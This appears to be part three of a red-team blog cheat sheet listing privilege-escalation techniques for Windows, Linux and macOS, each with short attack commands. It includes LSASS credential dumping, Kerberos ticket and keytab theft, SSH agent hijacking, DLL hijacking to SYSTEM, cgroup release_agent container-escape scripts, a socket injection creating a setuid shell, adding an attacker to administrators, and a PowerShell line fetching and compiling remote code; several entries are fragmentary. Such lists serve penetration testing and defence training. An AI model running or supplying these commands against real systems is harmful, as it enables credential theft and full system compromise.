43 Methods for Privilege Escalation (Part 3)

In this article, we continue the article 43 methods for privilege escalation. If you haven't read the previous part yet, visit the blog.

hadess August 19, 2022 Category: Red Team

Dump lsass with SilentProcessExit

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunting

Methods:

1. SilentProcessExit.exe pid

Lsass Shtinkering

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunting

Methods:

1. HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps->2
2. LSASS_Shtinkering.exe pid

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunting

Methods:

- AndrewSpecial.exe

CCACHE ticket reuse from /tmp

Domain: Yes

Local Admin: Yes

OS: Linux

Type: Enumeration & Hunting

Methods:

- ls /tmp/ | grep krb5cc_X
- export KRB5CCNAME=/tmp/krb5cc_X

CCACHE ticket reuse from keyring

Domain: Yes

Local Admin: Yes

Methods:

- https://github.com/TarlogicSecurity/tickey
- /tmp/tickey -i

CCACHE ticket reuse from SSSD KCM

Domain: Yes

Local Admin: Yes

OS: Linux

Type: Enumeration & Hunting

Methods:

- git clone https://github.com/fireeye/SSSDKCMExtractor
- python3 SSSDKCMExtractor.py –database secrets.ldb –key secrets.mkey

CCACHE ticket reuse from keytab

Domain: Yes

Local Admin: Yes

OS: Linux/Windows/Mac

Type: Enumeration & Hunting

- python KeytabParser.py /etc/krb5.keytab
- klist -k /etc/krb5.keytab

Or

- klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
- python3 keytabextract.py krb5.keytab
- ./bifrost -action dump -source keytab -path test

SSH Forwarder

Domain: Yes

Local Admin: Yes

OS: Linux

Type: Enumeration & Hunting

Methods:

- ForwardAgent yes
- SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston

AppleScript

Domain: No

Local Admin: Yes

Methods:

- (EmPyre) > listeners
- (EmPyre: listeners) > set Name mylistener
- (EmPyre: listeners) > execute
- (EmPyre: listeners) > usestager applescript mylistener
- (EmPyre: stager/applescript) > execute

DLL Search Order Hijacking

Domain: No

Local Admin: Yes

OS: Windows

Type: Hijack

Methods:

- https://github.com/slaeryan/AQUARMOURY/tree/master/Brownie
- Brownie

Slui File Handler Hijack LPE

Domain: No

Local Admin: Yes

OS: Windows

- https://github.com/bytecode77/slui-file-handler-hijack-privilege-escalation
- Slui.exe

CDPSvc DLL Hijacking

Domain: No

Local Admin: Yes

OS: Windows

Type: Hijack

Methods:

- Cdpsgshims.exe

Magnify.exe Dll Search Order Hijacking

Domain: No

Local Admin: Yes

OS: Windows

Type: Hijack

Methods:

- Press Enter
- Press WinKey+(plusKey) on login screen which show password box.
- then payload dll will execute as SYSTEM access.

CdpSvc Service

Domain: No

Local Admin: Yes

OS: Windows

Type: Hijack

Methods:

- Find Writable SYSTEM PATH with acltest.ps1 (such as C:\python27)
- C:\CdpSvcLPE> powershell -ep bypass ". .\acltest.ps1"
- Copy cdpsgshims.dll to C:\python27
- make C:\temp folder and copy impersonate.bin to C:\temp
- C:\CdpSvcLPE> mkdir C:\temp
- C:\CdpSvcLPE> copy impersonate.bin C:\temp
- Reboot (or stop/start CDPSvc as an administrator)
- cmd wil prompt up with nt authority\system.

HiveNightmare

Domain: Yes

Local Admin: Yes

Methods:

- HiveNightmare.exe 200

CVE-2021-30655

Domain: No

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

- https://github.com/thehappydinoa/rootOS
- Python rootOS.py

CVE-2019-8526

Domain: No

Local Admin: Yes

OS: Mac

Type: 0/1 Exploit

- Python main.py

CVE-2020-9771

Domain: No

Local Admin: Yes

OS: Mac

Type: 0/1 Exploit

Methods:

- https://github.com/amanszpapaya/MacPer
- Python main.py

CVE-2021-3156

Domain: No

Local Admin: Yes

OS: Mac

Type: 0/1 Exploit

Methods:

CVE-2018-4280

Domain: No

Local Admin: Yes

OS: Mac

Type: 0/1 Exploit

Methods:

- https://github.com/bazad/launchd-portrep
- ./launchd-portrep 'touch /tmp/exploit-success'=

Abusing with FileRestorePrivilege

Domain: Y/N

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

- poptoke.exe

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

- poptoke.exe

Abusing with ShadowCopyBackupPrivilege

Domain: Y/N

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

- poptoke.exe

Abusing with ShadowCopy

Domain: Y/N

Local Admin: Yes

OS: Windows

- poptoke.exe

Dynamic Phishing

Domain: Y/N

Local Admin: Yes

OS: Mac

Type: Phish

Methods:

- https://github.com/thehappydinoa/rootOS
- Python rootOS.py

Race Conditions

Domain: No

Local Admin: Yes

OS: Windows

Type: Race Condition

Methods:

- echo "net localgroup administrators attacker /add" > C:\temp\not-evil.bat

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing Capabilities

Methods:

- d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
- mkdir -p $d/w; echo 1 > $d/w/notify_on_release
- t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
- touch /o; echo $t/c > $d/release_agent
- echo "#!/bin/sh" > /c
- echo "ps > $t/o" >> /c
- chmod +x /c
- sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
- cat /o

Escape only with CAP_SYS_ADMIN capability

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing Capabilities

- echo 1 > /tmp/cgrp/x/notify_on_release
- host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
- echo "$host_path/cmd" > /tmp/cgrp/release_agent
- echo "#!/bin/sh" > /cmd
- echo "ps aux > $host_path/output" >> /cmd
- chmod a+x /cmd
- sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
- cat /output

Abusing exposed host directories

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing Capabilities

Methods:

- mknod /dev/sdb1 block 8 17
- mkdir /mnt/host_home
- mount /dev/sdb1 /mnt/host_home
- echo 'echo "Hello from container land!" 2>&1' >> /mnt/host_home/eric_chiang_m/.bashrc

Unix Wildcard

Domain: No

Local Admin: Yes

Methods:

- python wildpwn.py –file /tmp/very_secret_file combined ./pwn_me/

Socket Command Injection

Domain: No

Local Admin: Yes

OS: Linux

Type: Injection

Methods:

- echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s

Logstash

Domain: No

Local Admin: Yes

OS: Linux

Type: Injection

Methods:

```
exec {

        command => "whoami"

        interval => 120

        }

    }
```

UsoDllLoader

Domain: No

Local Admin: Yes

OS: Linux

Type: Injection

Methods:

- UsoDllLoader.exe

Trend Chain Methods for Privilege Escalation

Habanero Chilli

Domain: No

Local Admin: Yes

Methods:

- rundll32.exe C:\Dumpert\Outflank-Dumpert.dll,Dump

Padron Chilli

Domain: Y/N

Local Admin: Yes

OS: Windows

Type: Create a Reflective DLL Injector + Reflective DLL for dump lsass memory without touch hard disk

Methods:

- #.\inject.x64.exe <Path to reflective dll: .\LsassDumpReflectiveDLL.dll>

Jalapeno Chillies

Domain: Yes

Local Admin: Yes

OS: Windows

Methods: unhook NTDLL.dll + dump the lsass.exe as WindowsUpdateProvider.pod

Methods:

Domain: Yes

Local Admin: Yes

OS: Windows

Methods: SeImpersonatePrivilege + Abusing Service Account Session

Methods:

- https://github.com/tyranid/blackhat-usa-2022-demos
- Demo5.ps1

Finger Chilli

Domain: No

Local Admin: Yes

OS: Windows

Type: Abusing PrintNotify Service + DLL side-loading

Methods:

- As an administrator, copy winspool.drv and mod-ms-win-core-apiquery-l1-1-0.dll to C:\Windows\System32\spool\drivers\x64\3\
- Place all files which included in /bin/ into a same directory.
- Then, run powershell . .\spooltrigger.ps1.
- Enjoy a shell as NT AUTHORITY\SYSTEM.

Local Admin: Yes

OS: Windows

Type: Silver Ticket + I Know

Methods:

- https://github.com/tyranid/blackhat-usa-2022-demos
- Demo1.ps1

Red Cayenne

Domain: Yes

Local Admin: Yes

OS: Windows

Type: Silver ticket + User to User Authentication

Methods:

- https://github.com/tyranid/blackhat-usa-2022-demos
- demo2.ps1

Birds Eye Chilli

Domain: Yes

Local Admin: Yes

Methods:

- https://github.com/tyranid/blackhat-usa-2022-demos
- Demo3.ps1

Scotch Bonnet

Domain: Yes

Local Admin: Yes

OS: Windows

Type: Bring Your Own KDC

Methods:

- https://github.com/tyranid/blackhat-usa-2022-demos
- Demo4.ps1

Lemon Habanero

Domain: No

Local Admin: Yes

OS: Linux

Type: Capabilities

- sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
- ./ambient /bin/bash

Red Habanero

Domain: No

Local Admin: Yes

OS: Windows

Type: NtSetInformationProcess + DLL side-loading

Methods:

- BypassRtlSetProcessIsCritical.exe pid

Ghost Pepper

Domain: No

Local Admin: Yes

OS: Windows

Type: allow low privileged user accounts to create file system and registry symbolic links

Methods:

- PS C:\> $code = (iwr https://raw.githubusercontent.com/usdAG/SharpLink/main/SharpLink.cs).content

- PS C:\> $s.Open()
- PS C:\> echo "Hello World :D" > C:\Users\Public\Example\link
- PS C:\> type C:\ProgramData\target.txt
- Hello World 😀
- PS C:\> $s.Close()

Chocolate Scorpion Chilli

Domain: No

Local Admin: Yes

OS: Windows

Type: Directory-Deletion + Windows Media Player d/s

Methods:

- https://github.com/sailay1996/delete2SYSTEM
- .\poc.ps1

Carolina Reaper

Domain: Yes

Local Admin: Yes

OS: Windows

Type: Creates an arbitrary service + PTH

- Demo6.ps1

The Intimidator Chilli

Domain: No

Local Admin: Yes

OS: Windows

Type: manipulate memory/process token values/NT system calls and objects/NT object manager

Methods:

- https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools
- Import-Module NtObjectManager
- Get-ChildItem NtObject:\
- NT*